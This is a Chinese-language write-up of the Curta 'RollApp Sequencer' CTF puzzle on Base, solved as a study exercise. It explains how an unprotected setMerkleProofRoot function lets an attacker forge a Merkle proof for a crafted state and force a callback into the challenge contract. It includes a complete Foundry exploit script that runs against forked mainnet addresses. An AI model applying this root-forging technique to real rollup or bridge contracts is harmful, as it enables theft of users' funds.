# Curta RollApp Sequencer WriteUp (中文版)
## 介绍
题目:https://www.curta.wtf/puzzle/base:8
大意:需要通过RollApp合约,回调篡改状态。
## 分析
1. 拿flag的关键是触发recvRollAppData函数,设置 _rollAppStatesReceived 状态
![image](https://hackmd.io/_uploads/ByKIe-Vg0.png)
2. 但是触发recvRollAppData函数,需要通过RollApp来调用,所以,我们可以通过查看challengeApp的初始化参数,找到RollApp的地址。
3. 跟着链上痕迹,其实不难找到,rollUp, stateStorage和sequencer的地址:
```solidity
address payable rollup = payable(0x32739b23BBe99900d01482Fbd3799DAf0B7Ac024);
address payable stateStorage = payable(0x6a60D9296cBc84DC8FA4424dEdE75117712D6BE5);
address payable ChallengeAppAddress = payable(0x433223B5d926557A067BaA24dfE21F27C6F9FE55);
address payable sequencerAddress = payable(0xc592A5CcC2F7839408A0b394DbDD4A756A877A77);
```
4. 如果要通过rollUp回调ChallengeApp,就需要通过execState方法,触发anyCall()。execState方法是external的,其实调用很简单,所以我们需要修改stateFinalized的状态,写入我们需要的攻击状态。
![image](https://hackmd.io/_uploads/rk05xZNe0.png)
5. 唯一的难点在于如何完成merkleProoflib的verify,因为StateStore的Root是0x000..00,所以这里理论上不可能。
![image](https://hackmd.io/_uploads/B1fheZNxR.png)
6. 但是,Sequencer合约是可以进行修改stateStorage的合约的Root的,所以这个时候,leaf, root和Proof我们都可以同时操控了。这个题目就可以解出来了。
![image](https://hackmd.io/_uploads/H1l6gZVeA.png)
## 攻击
### 1. 构造State
state的构造有一点要注意的是:data需要先用formatData进行encode一次。因为在最后会调用anycall之前会进行一次formatData,然而formatData本质上是在执行一次xor。所以,我们两次formatData就可以了。在初始化的时候需要先进行一次formatData。
```solidity
ChallengeApp challengeApp = ChallengeApp(ChallengeAppAddress);
uint256 seed = challengeApp.generate(userAddress);
RollApp rollupApp = RollApp(rollup);
ISequencer sequencer = rollupApp.sequencer();
// ChallengeApp
uint256 solution = uint256(uint128(uint256(keccak256(abi.encode(seed)))));
bytes32 solutionCode = keccak256(abi.encodePacked(seed, solution));
bytes memory data = abi.encodeWithSignature("recvRollAppData(bytes32)", solutionCode);
IStateStorage.State memory _state = IStateStorage.State({
_submitter: userAddress,
_dst: ChallengeAppAddress,
_blockHeight: 0,
_data: sequencer.formatData(data)
});
```
### 2. 修改Merkle Root
有了State了之后,我们就可以知道leaf了;因为Root和Proof都可以随意出入,我们构建一颗merkle tree,然后得到Proof和Root即可。或者,只有两个 Leaf的话 root 就直接 keccak 两个 leaf 就算出来了,proof 就是另一个 leaf 的值。
```solidity
bytes32 leaf = keccak256(abi.encodePacked(sequencer.compressStateCommitments(_state)));
// generate MerkelRoot and Proof
bytes32[] memory merkleTreeData = new bytes32[](2);
merkleTreeData[0] = leaf;
merkleTreeData[1] = leaf;
Merkle m = new Merkle();
bytes32 MerkleRoot = m.getRoot(merkleTreeData);
bytes32[] memory proof = m.getProof(merkleTreeData, 0); // will get proof for 0x2 value
console2.logBytes32(MerkleRoot);
sequencer.setMerkleProofRoot(MerkleRoot);
```
### 3. Attack
利用_state和proof,进行updateState,然后execState即可。
```solidity
bytes32 _stateHash = rollupApp.updateState(_state, proof);
rollupApp.execState(_stateHash);
bool result = challengeApp.verify(uint256(uint160(userAddress)), solution);
assert(result == true);
```
## 代码
```solidity
pragma solidity >=0.8.0;
import {Test, console2} from "forge-std/Test.sol";
import "../src/interfaces/IStateStorage.sol";
import {RollApp} from "../src/RollApp.sol";
import "../src/interfaces/ISequencer.sol";
import "../src/ChallengeApp.sol";
import "../src/interfaces/IStateStorage.sol";
import {Merkle} from "@merkleTree/Merkle.sol";
import { MerkleProofLib } from "../src/MerkleProofLib.sol";
contract Testing is Test {
address payable rollup = payable(0x32739b23BBe99900d01482Fbd3799DAf0B7Ac024);
address payable stateStorage = payable(0x6a60D9296cBc84DC8FA4424dEdE75117712D6BE5);
address payable ChallengeAppAddress = payable(0x433223B5d926557A067BaA24dfE21F27C6F9FE55);
address userAddress = address(0);
function test0() public {
vm.createSelectFork("wss://base-rpc.publicnode.com");
userAddress = tx.origin;
vm.startPrank(userAddress);
// generate solution
ChallengeApp challengeApp = ChallengeApp(ChallengeAppAddress);
uint256 seed = challengeApp.generate(userAddress);
RollApp rollupApp = RollApp(rollup);
ISequencer sequencer = rollupApp.sequencer();
// ChallengeApp
uint256 solution = uint256(uint128(uint256(keccak256(abi.encode(seed)))));
bytes32 solutionCode = keccak256(abi.encodePacked(seed, solution));
bytes memory data = abi.encodeWithSignature("recvRollAppData(bytes32)", solutionCode);
IStateStorage.State memory _state = IStateStorage.State({
_submitter: userAddress,
_dst: ChallengeAppAddress,
_blockHeight: 0,
_data: sequencer.formatData(data)
});
bytes32 leaf = keccak256(abi.encodePacked(sequencer.compressStateCommitments(_state)));
// generate MerkelRoot and Proof
bytes32[] memory merkleTreeData = new bytes32[](2);
merkleTreeData[0] = leaf;
merkleTreeData[1] = leaf;
Merkle m = new Merkle();
bytes32 MerkleRoot = m.getRoot(merkleTreeData);
bytes32[] memory proof = m.getProof(merkleTreeData, 0); // will get proof for 0x2 value
console2.logBytes32(MerkleRoot);
sequencer.setMerkleProofRoot(MerkleRoot);
// attack
bytes32 _stateHash = rollupApp.updateState(_state, proof);
rollupApp.execState(_stateHash);
bool result = challengeApp.verify(uint256(uint160(userAddress)), solution);
assert(result == true);
vm.stopPrank();
}
}
```